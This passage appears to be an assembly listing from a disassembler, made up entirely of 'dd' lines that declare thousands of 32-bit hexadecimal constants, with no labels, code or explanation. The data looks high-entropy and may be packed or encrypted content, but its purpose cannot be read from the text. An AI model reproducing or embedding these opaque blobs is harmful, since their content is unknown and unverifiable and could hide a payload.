		dd 5359FDBEh, 9647A300h, 86D9A1DAh, 6C1E4908h, 81909470h
		dd 515729B8h, 0A628843Ah, 880E674h, 3A27FB9h, 4C98344Bh
		dd 0B4F06738h, 2B171069h, 80008CF7h, 7032FD60h,	3D184C3Bh
		dd 0F0D97714h, 1B9AD107h, 0D547AAh, 0AEC34024h,	81C5AD3Ah
		dd 148C864Dh, 74E8447Dh, 46300054h, 311B8A66h, 0BA1820F9h
		dd 0DF283F7Ah, 70CE00C0h, 0D03B1006h, 0B7002FC1h, 1D9DF73Ah
		dd 96B5582Dh, 4B3B78BCh, 0A53FB606h, 2448BD59h,	2DD7F61h
		dd 5A2E254Ah, 0BCE5F8E0h, 0BE110907h, 84BAEC99h, 0FBAAF300h
		dd 11F9AF8h, 0E5F627C1h, 0C9370273h, 0B5D73012h, 0C78F9000h
		dd 0EBC8723Eh, 29640582h, 0E09DDD4h, 0C9808CE8h, 9566D308h
		dd 1B91D600h, 21A7C487h, 1AB3A52h, 1C365987h, 0B9650719h
		dd 0D9F56C00h, 103CCB34h, 762201B0h, 5D17BCC5h,	0CE5EDE4h
		dd 0C382323Eh, 0BD009921h, 47D1FCC1h, 0BC5A13CCh, 5D0600DCh
		dd 0C441F489h, 2FC90F00h, 18AD1AFFh, 0F13C0B83h, 0B020DB8Ch
		dd 525A75E5h, 0FD50C100h, 9CF03DB0h, 90DE1621h,	319E01BEh
		dd 201CE16Ch, 0DFF532D0h, 98394D0h, 0A9F94500h,	0CC5AEAC4h
		dd 0DA0E24A0h, 569F1C0Ch, 0EE78D01Bh, 41F814A7h, 0D9F3AF05h
		dd 0DCB0D3E6h, 94C57C2Ah, 4BDA0E3Ch, 112D82C6h,	7B036278h
		dd 0EFDD2390h, 0D8A4D448h, 86800050h, 373DE6A6h, 0F97FD419h
		dd 5FA3930Bh, 0B4649Eh,	1D871259h, 953784F7h, 364BBE19h
		dd 8E04E29h, 40DE4AC2h,	3F285B44h, 0DCB6129Dh, 5731B44h
		dd 924204C8h, 0C547AE00h, 6ED9CD25h, 0FFAC007Eh, 853619D1h
		dd 297FA188h, 610A3B25h, 0D9F43491h, 0F61A012Ah, 6A3F16BBh
		dd 0A725E4DFh, 60749430h, 52482Ch, 65AF1F8Eh, 7D59F89Ah
		dd 0B898B200h, 0F60EC197h, 2FE3002Ch, 85042A4Fh, 0FD001C01h
		dd 52779A6Dh, 0DB3ECAh,	91105528h, 4E2141F9h, 8780CD01h
		dd 819953B4h, 768F4F4h,	2769BFE0h, 0FC5FB028h, 0CA02BD9Ah
		dd 0A6ECB967h, 1D3468B3h, 0C6DE12F9h, 9054276Ch, 52286AB5h
		dd 8495000h, 774B92F3h,	8B7A2C1Bh, 35518280h, 55E0E805h
		dd 0AB00BE03h, 916EC27Ch, 7F95B3Bh, 0AA8393F1h,	0FC25D0E8h
		dd 38C075FDh, 0A92C0B7Fh, 7509889h, 0EBEABC7Dh,	0CB9A702Eh
		dd 0A0062FAh, 1A35DCF2h, 9E7156h, 65944DA3h, 3B4CDAE6h
		dd 0E1F85800h, 70BD0AD9h, 0B9170099h, 76BA356Eh, 0C42E3618h
		dd 3403FC89h, 928E0626h, 0E80E057h, 4E4B1FBCh, 1BDE883h
		dd 15F44332h, 0E821BA0Ah, 38C0BECFh, 1C9B45F5h,	0F7449237h
		dd 7757428h, 0B283EAD8h, 408DA56Fh, 38CA9E84h, 140B8BF1h
		dd 487712B1h, 1ABE194h,	0F02CFFF8h, 8358FA3Fh, 8DE66330h
		dd 0C4D4E885h, 790BA1Ah, 100B7C35h, 58AE9047h, 0C00196FAh
		dd 0D0DE2F90h, 9BF86D2Eh, 0B253013Ah, 19A1552Dh, 358E8E3h
		dd 5EB63Bh, 0B7D562D2h,	4DC261h, 9FF6C915h, 0AD2A0596h
		dd 84FA2B00h, 9E530D01h, 0E20903CBh, 2F2592BBh,	61AA801Ch
		dd 0C6A2007Bh, 0D56E5B66h, 6A5A079Ah, 60F0220Fh, 2A6D81FDh
		dd 0AC933Dh, 65879BFEh,	0EEB182h, 0B3123C41h, 8E10D15Dh
		dd 0AFA0C816h, 0E026D70Eh, 2C54971Ah, 0DFAD059Bh, 4227F3Bh
		dd 9225BAC8h, 0F0E087B8h, 0D055EE70h, 4D3CD488h, 0DA51CE09h
		dd 7824613Dh, 8701A82Dh, 6DF04E63h, 6E318051h, 0D37EC2B4h
		dd 950E00EDh, 0B3FD97CCh, 2900F772h, 0C15EA698h, 0BA124Eh
		dd 99A9BF4h, 927A0CA9h,	8700B07Dh, 10D65BF9h, 34C755h
		dd 801D8EE6h, 0D3EF89D0h, 27132613h, 0F0DE8C00h, 18A655Ah
		dd 0E62554D8h, 502CBA22h, 5DDAA3A4h, 0FB9D6806h, 22E84E3Ch
		dd 454EB138h, 3F69308Ch, 0EABB2E71h, 0C8511081h, 0F5F37886h
		dd 0F75CED09h, 31ACB2C8h, 0E116FB6Fh, 8C1CAEFCh, 15F710C0h
		dd 8019C527h, 98653600h, 8A55A3ACh, 2B327504h, 78A04FCEh
		dd 2234F21Eh, 19221CF2h, 0B10D2C3Dh, 458D0004h,	0A0C93C65h
		dd 0E793A618h, 15E5FCCh, 5C5E5E4h, 0D0A23266h, 5449AA78h
		dd 0A4B22198h, 2780B810h, 2FD4A9FDh, 0D50161A5h, 0CD8352C8h
		dd 34702531h, 0F91F04BAh, 0F07DF008h, 841D8AE0h, 6DC3F51Ch
		dd 0E8DEBA0h, 35800FC1h, 50DC31E0h, 561C8B21h, 0DD80F4F7h
		dd 94162A72h, 2E590009h, 2499C45Fh, 31F941A5h, 601C7CA2h
		dd 0BC548719h, 2EB00B2Ch, 0E88F5091h, 0C0BEF4CFh, 64F21A70h
		dd 57188E48h, 7218836h,	81780FF6h, 54A2687Fh, 0B05E5CA4h
		dd 0EB1404A4h, 107300C3h, 129BB887h, 0D0340090h, 0FAC95704h
		dd 5001FDC1h, 0D32AF4FFh, 546C0DF8h, 1042E93Fh,	93002611h
		dd 5244E60h, 3907DBEEh,	820B1DACh, 640C1310h, 41200074h
		dd 0E3FE544Fh, 3613CD0Ah, 4026AF3h, 54434C53h, 3D3F0008h
		dd 0C19A8BDh, 8BA2CA01h, 271A08C3h, 4C886434h, 3017553h
		dd 0D87A778Dh, 0B9C2982h, 20DF7CA0h, 84ACE608h,	4419017Dh
		dd 0E2824907h, 462420FBh, 0A892E903h, 88C4676Eh, 0A4759E3h
		dd 0D525F80Bh, 182E07EAh, 0A4E7807Dh, 1090B5B1h, 397C8103h
		dd 9091963Dh, 3D6D30Fh,	52C16F9Eh, 0D088D422h, 6D385926h
		dd 3E02D99h, 9072BB30h
		dd 0B1972Dh, 22F9FBDAh,	8E65CA9Ah, 49C88D07h, 0DFB033E2h
		dd 6FD2C5h, 0BCD146E0h,	1672B797h, 11236A00h, 208C969Ah
		dd 242800C9h, 1E213BB3h, 5B1EB126h, 6C0843Eh, 0EEAABE8Bh
		dd 0E2A6241Bh, 165100D6h, 6F9F2119h, 0EDA84560h, 1F523F2h
		dd 8F6B8BE3h, 70C03414h, 0CB28F490h, 8601E47Ch,	0E39E256Eh
		dd 20948Ch, 8D30C049h, 633B3E11h, 6D293302h, 5EA64A1Bh
		dd 25CF0054h, 3D914550h, 0A99B2B00h, 22BF8FF2h,	0BC875C8Ah
		dd 0CA00794Ch, 0A24B4A4Dh, 50909544h, 3D0DB00h,	8C2CC465h
		dd 0FE1300ACh, 4E778A68h, 0D0E1130h, 0E0065598h, 0BB590F08h
		dd 52A1009Ch, 0F13EC20Ch, 661CA6ABh, 4F00B62Ch,	22B03C64h
		dd 84B52450h, 21F2620h,	14AE927h, 9C70DC78h, 0C09D3A27h
		dd 0B5C2264h, 6D2BA1CBh, 0AE0198Fh, 6483DDCFh, 0C475C900h
		dd 5E869D7Bh, 0EEB0E46h, 4200A9Eh, 0A2A792B1h, 47C7F100h
		dd 0D6C05ABAh, 8B5900CAh, 0B998EA60h, 840082C4h, 0B37A0767h
		dd 0FE52EFh, 0B4B80BBBh, 509B6ADAh, 344FD01h, 9F60EA53h
		dd 73109Eh, 7EF08FFh, 0D2091E22h, 0AF4D2E64h, 19EAE074h
		dd 80662CD7h, 0F102128Eh, 54A42D28h, 90864050h,	2161174Ch
		dd 0F0108A99h, 2DBDCA58h, 88AF072Dh, 0ED25C660h, 972014A4h
		dd 0FF9F817Bh, 6F01030h, 7335F44Eh, 3EF0300Eh, 0D9E027F0h
		dd 0B13A9600h, 0EF8D4379h, 549F0044h, 6890297Fh, 9E0EA0E8h
		dd 805F5EBBh, 0CA66EAB4h, 316F06D1h, 48F52A36h,	442B5C28h
		dd 0AB095C90h, 2007795Dh, 0F71C1FB8h, 23413358h, 0A2C12D31h
		dd 4B9C2913h, 0C6EAB888h, 0B0F52120h, 0A1F72C04h, 4B21D9Fh
		dd 97138106h, 0B539E073h, 0F800DBCAh, 15909210h, 8A1B2C7Bh
		dd 40191CEEh, 8F76A341h, 0FA16AEC2h, 0E300C15Fh, 0F862544Dh
		dd 5A2600A6h, 56FEE4F0h, 95000611h, 0CC76551Ch,	0C340Bh
		dd 7A9E5A3Eh, 225FF8F0h, 72B6E91Dh, 49C43A01h, 6BE0E6D4h
		dd 65D800DBh, 3CE2B513h, 51015A5Fh, 0F2BB9526h,	8BECD172h
		dd 8006395Ch, 0D4155380h, 99891EF6h, 0B0251900h, 2070BFDh
		dd 34EC6Bh, 667F5F58h, 15DB8C90h, 2DD53104h, 0E6809AAFh
		dd 9D9C4AEh, 0B6504395h, 1B4F6868h, 0F71D26F6h,	0E859F3FEh
		dd 218F7409h, 866013AFh, 32C5C358h, 0FE0EF773h,	0E13DD86Dh
		dd 9AB5EDEh, 2300D857h,	687182Dh, 9F3F4A22h, 0C60089Ah
		dd 2D2B5921h, 5F6A0036h, 0FBEDEBD4h, 0A720FF9Dh, 0FA20000Ch
		dd 0CA2482E8h, 8F04CDD2h, 621D6608h, 0E71BB0C0h, 56400190h
		dd 0BE2AD9CEh, 8827F706h, 0A7B4E094h, 0F749C015h, 674A6028h
		dd 322B100h, 96BE293Dh,	34D85C18h, 0B4C0438Ch, 2D210F8Ch
		dd 88B18716h, 29538203h, 1741E52Dh, 0AD0BD8F4h,	63448400h
		dd 139269A5h, 0D6E1334h, 0BE7090A8h, 35507FE1h,	13195FE9h
		dd 6708AB5Dh, 58D82180h, 5AC35680h, 0EA153C00h,	0D9CF4563h
		dd 0F554A010h, 8CF00C7Eh, 44604009h, 4A258318h,	0E2F9370h
		dd 7CBDA4A8h, 3D148240h, 9400C6E5h, 457AEDD1h, 3BFE906h
		dd 6DE3D960h, 709803ABh, 0D00CB01h, 0E6EC665Ch,	94D033h
		dd 0E5D62BDFh, 0B47C0EB8h, 0D52F3Bh, 8A189065h,	3AA99D3Fh
		dd 0DD8077D1h, 0E7625354h, 85001B38h, 0C5FD885Bh, 0AB0175h
		dd 9F116AB1h, 3E865F2Dh, 0B3002F7Ah, 788D34E0h,	272190h
		dd 0C2304542h, 0BB7C7F71h, 611C2B00h, 0A6EC4F48h, 0CC5F1E59h
		dd 0CD39C704h, 0A584A0AAh, 0FE00C342h, 0CB3D71DCh, 0DF99BBh
		dd 0A9AD1F91h, 27505FA6h, 0EFE55EEh, 5C87AE00h,	2F6D7637h
		dd 8B6B1DCFh, 0F7F5401Bh, 4F80EF98h, 40890C0Bh,	0AC8400CEh
		dd 7160CAF4h, 0B6DE00D0h, 38B0E83Ah, 6100CBEDh,	8FD3876Ah
		dd 0B9BF6h, 0DF822B31h,	0F9F52ED1h, 0FD00C8FAh,	102AA3Ah
		dd 0F0A944h, 7F18835Ch,	5EB620EEh, 5ABD8A00h, 0B7D8D6BAh
		dd 3DE7E1Ah, 719E5BA8h,	4DC8C735h, 0B61E5958h, 8340724Eh
		dd 0A3F921DFh, 10260196h, 9EB10C62h, 2E040B0h, 8D005B1Fh
		dd 80E81DD7h, 176CB05h,	0EE6B3801h, 3097D8A0h, 0B07FC161h
		dd 0B02C0733h, 27E79810h, 815400A5h, 0A89920C6h, 0BE0F591Ah
		dd 209E4AB2h, 0E158B06Ah, 0E4CCA870h, 0AC3E881Fh, 5574C000h
		dd 0BA066AE0h, 0A167003Fh, 51176CFCh, 5B903821h, 3B00DCF6h
		dd 1B805A2Ch, 155077h, 0C5F1DE6Dh, 0F84A4342h, 2BB0E41Fh
		dd 0AA3EF480h, 0DA26A1h, 0EC444B58h, 7C029AC0h,	0FB508DF8h
		dd 0C74C92D4h, 987F00F3h, 841F877Eh, 0B6606DBh,	1080B2DDh
		dd 0B85A9700h, 1470DCCEh, 130D00FBh, 0F9097408h, 9EF64A0Bh
		dd 34EA3600h, 9037DB80h, 158A7DFCh, 0E8542965h,	1D002148h
		dd 81D3E8F1h, 670C3EFFh, 0E06D877Ch, 0BE4F0097h, 0F3F660A7h
		dd 2D0C40BFh, 1CFA0C72h, 0A6D1003Dh, 876D5A55h,	0D0098C85h
		dd 72C32AEh, 6073C96Ch,	8D690065h, 0C7D37E63h, 380049B3h
		dd 19E5B64Ch, 397F111h,	9A051742h, 0F3A00CF7h, 9560D8B4h
		dd 0AEC75A38h, 0F06CDC2Eh, 0E379EB58h, 40B68000h, 544231E8h
		dd 0BF2C00B2h, 0AD03D7E2h, 3F240C63h, 1941CD4h,	1DA03FA4h
		dd 0F8CF4F4Ch, 0C3C99D26h, 40DC3Ah, 4DF91A87h, 0EF079EC4h
		dd 0BF20BC6Ah, 86973780h, 47F00084h, 0FE0E7DB2h, 0A8183B53h
		dd 0EA30F7FBh, 6C9D2E16h, 0BF6D0255h, 9C817BFEh, 0FA6B9A02h
		dd 33F67DC0h, 30DA8100h, 53418CFCh, 0C0F8E0FAh,	671E8040h
		dd 280EF512h, 6714F396h, 74607BA6h, 0A79DAAh, 10B7CE3Fh
		dd 8B4F0406h, 9E9CFE00h, 3CB8467Dh, 0DCBD3870h,	11D84A85h
		dd 180E8069h, 0A3072B61h, 3A7F1CAh, 3C2FA02Eh, 70ADDCh
		dd 0AFF5468Bh, 39D7B332h, 877D7C39h, 0CFED0B1Fh, 80737590h
		dd 347602D0h, 0E6A130D1h, 131A30C0h, 0E2D61F00h, 57BD3365h
		dd 0DDAA0EBCh, 0E1AF3185h, 3084A020h, 9500937Eh, 73A7A313h
		dd 2E03B3h, 0DFA8899Ch,	1C80E27Ah, 0A4EF7600h, 900D28C8h
		dd 0CF820C67h, 4F86AFC3h, 0F8779B00h, 467268F0h, 90A8A07Ch
		dd 0D29C00A1h, 5C8269D9h, 3900B694h, 0E18A771h,	7CEFC4EEh
		dd 30740F91h, 0F2806ACEh, 33A661B1h, 7F01D800h,	9EF0791Ch
		dd 906000BCh, 0AEA95CBFh, 930FF762h, 61014Dh, 176B37E6h
		dd 0C79E034Ch, 0C03D5C6Ah, 9D52DD90h, 0E59C9800h, 0B781727Dh
		dd 5C5A189Ah, 5894A82Fh, 0B25B1702h, 40AF6B2Eh,	0E611A987h
		dd 2CCFE10h, 36545DA2h,	0AC493E82h, 0AD47040h, 2A62DA12h
		dd 5642741Ch, 60E6A05Ah, 92BD4836h, 17F6769Ch, 1FFA04C0h
		dd 7F3D40B3h, 44D99621h, 0DBB29209h, 6A9C805Fh,	0A0ABB7h
		dd 0E4110DDh, 8FCFA897h, 36980B1Fh, 93668B44h, 29050E80h
		dd 528137FAh, 7FE0038h,	2749457Eh, 80FB3998h, 0CA1A7C37h
		dd 3E2CBEh, 2856D63Ah, 9D059714h, 4F319E00h, 686503BDh
		dd 14903Fh, 527ED78Bh, 3EB2E655h, 0C77D4898h, 0B95D7300h
		dd 50648B98h, 0E9F80354h, 3EFC56FDh, 3C963803h,	3AC0BCEBh
		dd 0C9804311h, 15D6EDA6h, 706F623h, 296C610Fh, 877520h
		dd 0B10EAB35h, 0B0E22772h, 6950B00h, 2BCE453Ch,	1607024Bh
		dd 2EC8C165h, 9B0378C8h, 746AF20Eh, 6FCC6032h, 402604Fh
		dd 5EE4A82Bh, 0F41DC07Dh, 0C1F2A213h, 0B7F50D00h, 0CF55D9D0h
		dd 9F200BFCh, 1085859Eh, 0EF9003E6h, 0E08B2C88h, 0F14B2600h
		dd 92302B09h, 6B8B006Fh, 0A922CF3Bh, 0A40024FAh, 8C63F352h
		dd 0DA1DAAh, 0EA0F6EFEh, 79B4302Ah, 0A39ACA0Ch,	582010E9h
		dd 500581Dh, 0DCB0160Dh
		dd 8E30AA96h, 28C59E97h, 33CCFB5Fh, 0F0070061h,	0ABA7A1C3h
		dd 0AC01FE2Ch, 1B8C0C81h, 60D2A6E3h, 0B64ACCh, 9D6F0AA5h
		dd 0A8C9DF7Ah, 0C200677Bh, 6844A28Dh, 989E54E2h, 0DF96079Ch
		dd 405688E3h, 2817F8FBh, 0CB9B7607h, 0A500697Dh, 2A31F0Ch
		dd 313A8F0Bh, 68480296h, 0BE0082B4h, 0D69EE86Bh, 0E6FFA3F5h
		dd 640207D4h, 0F00E382Ah, 21BC16CCh, 23CB5800h,	292C7680h
		dd 57AC48D7h, 644F3800h, 5E7B93F1h, 0F7043C02h,	6879C32Eh
		dd 0EFAA8h, 0CB8186ACh,	0CCA9546Ch, 95B86874h, 8803AD31h
		dd 918C0704h, 31297985h, 5BD0CC0Ch, 0C07B185Fh,	916ABD40h
		dd 2900FEA6h, 7C6CE7E6h, 17FF3EDAh, 973B51h, 565002D3h
		dd 8018CE7Bh, 2D387ABCh, 8F790BC6h, 81EC1Dh, 0EC98EE28h
		dd 6D00FB6Fh, 0FA240CDBh, 0C3AEABEBh, 0B98271A0h, 6D5948B8h
		dd 0D9510900h, 661EDEFAh, 98490583h, 0C1FC72E7h, 7014B8A2h
		dd 0B300F7E6h, 2B478D11h, 612E12h, 0C67C7553h, 0C8949CB5h
		dd 5C999B00h, 802F093h,	0C2391C8Fh, 0A879C036h,	0C0F47BD7h
		dd 0AF2B4500h, 20B9D8B2h, 7F5A7F72h, 3BE01DC8h,	294EA0Fh
		dd 0A60CA43Fh, 0ECA0BC11h, 0A28B3796h, 7951AC00h, 5A66F9A0h
		dd 0E4FCE2h, 0C5EC573Ah, 30D6804Ch, 325BEB00h, 0DD670285h
		dd 1421004Ah, 0C9FC82CEh, 0EA075E6Bh, 353FA8B6h, 0AAE86790h
		dd 23930076h, 8232F327h, 0F00D27Ah, 0A8C442CEh,	7C3343C6h
		dd 598A0193h, 68019437h, 84360A7h, 0D9072400h, 84208EB6h
		dd 0A95E0093h, 571E3D0h, 0FD00C6FCh, 0DF7B87F0h, 0E9B2CBh
		dd 0F6D9613Ah, 42A472Ch, 4936C400h, 46C1F8F3h, 0A6CF0032h
		dd 8B345E59h, 4D09BA0Ch, 8065D12Ah, 0F3308354h,	2CE0EEh
		dd 6077F4B7h, 0AD9E25DDh, 847074C0h, 0EA8CFAh, 7CD186Eh
		dd 0B7611D73h, 196248h,	276C3FC4h, 3E21A5DCh, 0C09C701h
		dd 0B0A49164h, 7358A022h, 7A53A16h, 6204E900h, 57F486Ah
		dd 4FB75871h, 1F0090F0h, 9417A5F3h, 6C1E1A28h, 6D8088E4h
		dd 8CEA6B45h, 554F0064h, 1D21AF9h, 8D046E63h, 0B96C41C9h
		dd 122014A0h, 0C0A67B83h, 0F44C4538h, 0C14A997Ch, 68482C01h
		dd 302D3214h, 0B91AED02h, 0F4E00E7Eh, 0F1071E6Ch, 464D0AFFh
		dd 8DF88100h, 532C00E9h, 0CF137C5Eh, 0D900F06Dh, 0E7FA4C49h
		dd 3B2D40BBh, 12006FC3h, 65384397h, 0F1000842h,	0B4D11403h
		dd 1B15818h, 7770DDD7h,	0F09C7531h, 0E005A50h, 4E306BF6h
		dd 810CC4h, 0F0FE7A7Dh,	0ADB12606h, 5F091D05h, 0AC0467DBh
		dd 60499016h, 2C809845h, 51F66338h, 94A178C2h, 0B003DC4h
		dd 73D2C15Ah, 0A97EE39Ah, 8D801B0Eh, 608012EAh,	3C2918Ah
		dd 0BAFBDA0h, 9ED0F508h, 3700908Fh, 0FDF16278h,	0F16063Bh
		dd 49329502h, 68E0EC4Fh, 1B9FC4BFh, 3F434717h, 1017700Bh
		dd 0FD838FCh, 5B253C03h, 0A97BF1A1h, 0C5F8E3F2h, 6000A76Dh
		dd 43A1ABBFh, 0E156Bh, 92E9978Dh, 4BC13336h, 0DB03E277h
		dd 1A4EB904h, 844D915Ch, 2634EC60h, 0B68BA1h, 9AE7AC21h
		dd 0C028E165h, 19009401h, 0F0C5315Eh, 1186D72h,	0EC4C06D1h
		dd 0D0CD841Eh, 0AF4D857Eh, 9D4738A4h, 0E580C1B3h, 504D9110h
		dd 0FFE62E89h, 611D4Dh,	494631F6h, 0B496221Ah, 6B9EA000h
		dd 2C087E81h, 18812D21h, 0A8C34A97h, 80FF0F38h,	0E40D15FBh
		dd 36CCACEh, 1FF5644Ch,	27C834F6h, 4100987Dh, 5C896BA4h
		dd 3DCAB8BAh, 9E804E32h, 614CFAF7h, 4600A8EBh, 0EDE38751h
		dd 3EE69C56h, 0CA051E21h, 0C08E794Fh, 0B2D9AC0h, 0A400904Eh
		dd 0BD745AE2h, 34910075h, 0CACBE8EFh, 541D8D76h, 43C3BAC1h
		dd 0A092F255h, 7A5B5203h, 0CCF7389Eh, 0A7AA39BBh, 495008Ch
		dd 87B1E737h, 7060B232h, 2B42CDA8h, 91EE0039h, 8F7C2E1Dh
		dd 5B074B2Ch, 0A3CB4F0h, 420B05D9h, 96379CC0h, 0BC340094h
		dd 1CEFC997h, 0EC00B580h, 14D61A41h, 0CC4F22h, 0F1F73F62h
		dd 0D5A095AEh, 76004C90h, 6D4A5BEDh, 0E2EF79DCh, 3F342468h
		dd 0B3BF812Ch, 800C2A25h, 0D12AF88h, 44042Ch, 3D8B9B78h
		dd 0FCB68CA9h, 0E7145F02h, 481E1DD4h, 0E53E74h,	9F245AC9h
		dd 92FE988Ch, 6304A092h, 0D9CB61E9h, 3D324D1h, 0EC25E8h
		dd 0E47401C9h, 0D77C984Bh, 680F1E4Bh, 855D6399h, 87992535h
		dd 498DC21h, 900C2038h,	95EB6A00h, 765D336Dh, 3DF13BA9h
		dd 0E8644500h, 4396267Ah, 0D6D59E05h, 9C001316h, 74565990h
		dd 2123058Ch, 0EA2E4750h, 83FE7C00h, 692BFFh, 0AF3F005h
		dd 6516FCA9h, 90AF9207h, 86507B34h, 0BB3151h, 0D8215E06h
		dd 0F7C17DE5h, 4A15461Dh, 9A420C0h, 0F31952h, 11014D92h
		dd 5167F61Ah, 72B55A00h, 20A7FEC8h, 32D61CD1h, 847641B9h
		dd 60F5EF9Dh, 0C4009484h, 0FF622CD4h, 921469A6h, 842E008Ch
		dd 17C83B5Dh, 6B1C302Bh, 12405CB7h, 27BF0998h, 0B3C014Bh
		dd 54BEA48Eh, 6956E081h, 520EE9F8h, 8B25E298h, 7D9000EFh
		dd 1AE6792h, 96842A9Dh,	20481ECAh, 2100947Dh, 0A28EDBCBh
		dd 93512AEh, 0E3659B84h, 2F20C080h, 677F797Ch, 2011332Ch
		dd 0E4A50581h, 45DCD337h, 22363CD2h, 0C8177107h, 0E174F087h
		dd 5716B325h, 4B00C384h, 98F8DCA3h, 99FC394Ah, 41746A07h
		dd 2B10D0D2h, 0E0162772h, 0B880E1FBh, 0B9583017h, 0BBF602E0h
		dd 0C6C30F04h, 7CC7DBA0h, 0D4F4DC98h, 1E100C3Fh, 18E82F0Bh
		dd 0AC62FC72h, 409E2A49h, 0F6272Dh, 9DC87B98h, 816DC49h
		dd 971AFC00h, 0BBD3DA9Eh, 2450770Eh, 83400644h,	2FCC997Bh
		dd 0F9AC46C7h, 12BE7D00h, 0A2C98032h, 0C04A0030h, 0DFD31A66h
		dd 17035289h, 6AB37B1Fh, 7E702E51h, 143080FCh, 4B2F4827h
		dd 0ABB88318h, 0A0EB9651h, 1EA18538h, 81B46CCCh, 69AD571Fh
		dd 25F0EB5Fh, 950FD15Eh, 83EC1878h, 0C061B9CDh,	370E8Fh
		dd 15A09029h, 91BD82C6h, 0DA5A900h, 0DC4F6614h,	37161D7Eh
		dd 0A38C0055h, 38CD7B49h, 0D0FF3900h, 6017A869h, 0A43D0058h
		dd 0DB7577EAh, 0D60159E1h, 0EF2EA146h, 0A860047Ah, 55BD3876h
		dd 0A5016B80h, 8645D15Ch, 0C5C65D07h, 0D60543Bh, 0D23199h
		dd 431DAAFBh, 0AC10675Ch, 1B5FC903h, 0EEF4B4B8h, 2EDD00F8h
		dd 38CFEA1Dh, 0B9019D28h, 0A106905Eh, 87E491F1h, 16C00003h
		dd 342153E1h, 1B0557D2h, 3EDDEB7Bh, 12BB7CC0h, 88222EC7h
		dd 168B0086h, 955796ACh, 388ABF00h, 0D84304DDh,	98231636h
		dd 0BE28D1BAh, 9AF9F8AAh, 84D5F600h, 0C35162FEh, 546C12B9h
		dd 4D480035h, 0A9136426h, 3F900A00h, 58EC9CCFh,	4B766Eh
		dd 96700BB4h, 8453A846h, 6F2B9703h, 0C8892F82h,	74BAB604h
		dd 8720083h, 319EA367h,	0A0BAC2A7h, 0E44AF00h, 0F2665AFDh
		dd 79FBB0A9h, 16243D23h, 0A6269500h, 0C7214C3Dh, 7A099096h
		dd 18588740h, 0ECD14745h, 0B1CC1C36h, 0D41940D1h, 3F721644h
		dd 6602F9B7h, 5B175F34h, 0B071D468h, 4BCA1101h,	0DB3A597Bh
		dd 13C099F8h, 4B437347h, 5480C5C0h, 60C921A0h, 316A5A17h
		dd 7200C412h, 485BFF12h, 1B720F2Ch, 3A47DC26h, 3846C020h
		dd 4F24EF1h, 1D43AE03h,	0B8D33F1Ah, 0B3628BCh, 5159CEE2h
		dd 427FD281h, 48F07769h, 8F7A0130h, 94831859h, 16C879E0h
		dd 86F31Dh, 739AD61Ch, 4D00677Eh, 1BADBD56h, 0CC540h, 5530E03Bh
		dd 0FE1372B4h, 0EEFA49E8h, 9A3CCE00h, 0ABFB0147h, 0EC2E0050h
		dd 8CAE202Fh, 180BBCF9h, 600B4DEBh, 88804E58h, 4200C909h
		dd 3839234h
		dd 59504D8h, 90C49D2Eh,	6004B5A5h, 8400C534h, 9A136044h
		dd 0BF6335h, 0FD4A64B5h, 0AB38858Ah, 0A988D200h, 1BD4D8E3h
		dd 64A85855h, 509EF800h, 17F06EEDh, 0A550F5EAh,	72007DE8h
		dd 0CFBAA8Eh, 0E245A9h,	0A4DA9C2Fh, 29F7EEF0h, 393E2300h
		dd 11BDB19Fh, 1EC500E9h, 0BF64785Eh, 18483074h,	6B400100h
		dd 31F9FD70h, 0C9DAFC50h, 67B0006Ch, 9350D307h,	12050823h
		dd 29A34482h, 17493490h, 0F10B00BEh, 4123156Ah,	3F055A53h
		dd 572C18AAh, 0B8770B0h, 48DF12A8h, 7C495860h, 70F0F89h
		dd 12BC0A7Dh, 7595DC50h, 20FD2C92h, 69F00E4h, 874ACDE9h
		dd 23F3C900h, 0E40F30D1h, 0E34803B1h, 0FF6458ABh, 7D9ABEE8h
		dd 6CEC8407h, 97455720h, 1164B0h, 0A758E38Dh, 0C74CCFF2h
		dd 0A50B4090h, 80DDD323h, 9ACBB7A9h, 0E7BD5C61h, 0A80C4F00h
		dd 0DE4E75ADh, 6B83AE00h, 815A24FEh, 42F500B6h,	0DF96A921h
		dd 14006D27h, 0C9251398h, 0C3F77093h, 6AFA8C31h, 0B07117E3h
		dd 85978D00h, 788ED488h, 266803F1h, 0A2ECC9A9h,	0FED73002h
		dd 508061DCh, 7C244004h, 68CD0900h, 5BFAB321h, 0E33D0546h
		dd 402C0BEEh, 1DC018DCh, 36501996h, 8F032398h, 0BEB1AD0Ah
		dd 0FDE783B6h, 7080D085h, 2EA964h, 4735943Ch, 370A1F8h
		dd 5C00AF71h, 0E0D4D35Dh, 757D67h, 4FDDC141h, 96CA09A3h
		dd 0D6FFE500h, 0AA226B82h, 877258D0h, 0F7CD7000h, 78136C5Dh
		dd 0FA5EE100h, 422FFB08h, 0AC7359F0h, 82CBC500h, 23567107h
		dd 8F4478F3h, 378F21EDh, 506C7498h, 2F8EAC4Ah, 0E17C0066h
		dd 4A62E2Bh, 0A5AF090Bh, 0AF48085h, 4E003796h, 7098F26Dh
		dd 3F64CFh, 0A091C225h,	6068C84Ah, 7696DF02h, 802AD985h
		dd 0B931E394h, 0E8DA000Ah, 0F40F81AEh, 89002CA4h, 8C6651D1h
		dd 4BE12A94h, 0D7F4013Fh, 60DDA8B7h, 5900DF06h,	0A260F8EFh
		dd 285E8E45h, 4EC6C1Ah,	51D28699h, 0AC73C064h, 843970F9h
		dd 72020301h, 0EF480423h, 0BE9AE03Eh, 0A26B2Eh,	1FB87471h
		dd 91EE113Ah, 2DE5C000h, 0B4E1D496h, 445E0046h,	0DAB7C842h
		dd 0CC003D71h, 768A98BAh, 3F06EDADh, 6580DB3Eh,	47B15CD8h
		dd 91059EBBh, 0E9DCF68h, 7450CC80h, 1EEE0365h, 14EADC9Ch
		dd 8C2EE8B8h, 5FBEC114h, 0A19901E8h, 0EB2C0C2Fh, 0C04D2080h
		dd 0BB5BA5EEh, 984C0600h, 0BAB33C83h, 0F6A80088h, 2C60581Bh
		dd 0FA004946h, 0B8D72DFh, 402D4DAh, 1BC5592Dh, 0C4C4A44Dh
		dd 0CC481A26h, 29CCC182h, 0CA584842h, 0E1430099h, 6C595526h
		dd 0D707956Dh, 302BAB1Dh, 7DC68A60h, 0EEE90068h, 191CFD58h
		dd 600DB18h, 43B57E87h,	639531h, 0BD32CCA6h, 0DC540105h
		dd 70E3B600h, 5E303DD9h, 0FE6F00EFh, 678E7F6Ah,	5458F498h
		dd 29CD00A0h, 890A242Fh, 0FB4F5Ah, 2D22DB60h, 6900A020h
		dd 3360DA98h, 2B42701h,	394AA86Fh, 0FCC4BA12h, 0D1217F0Eh
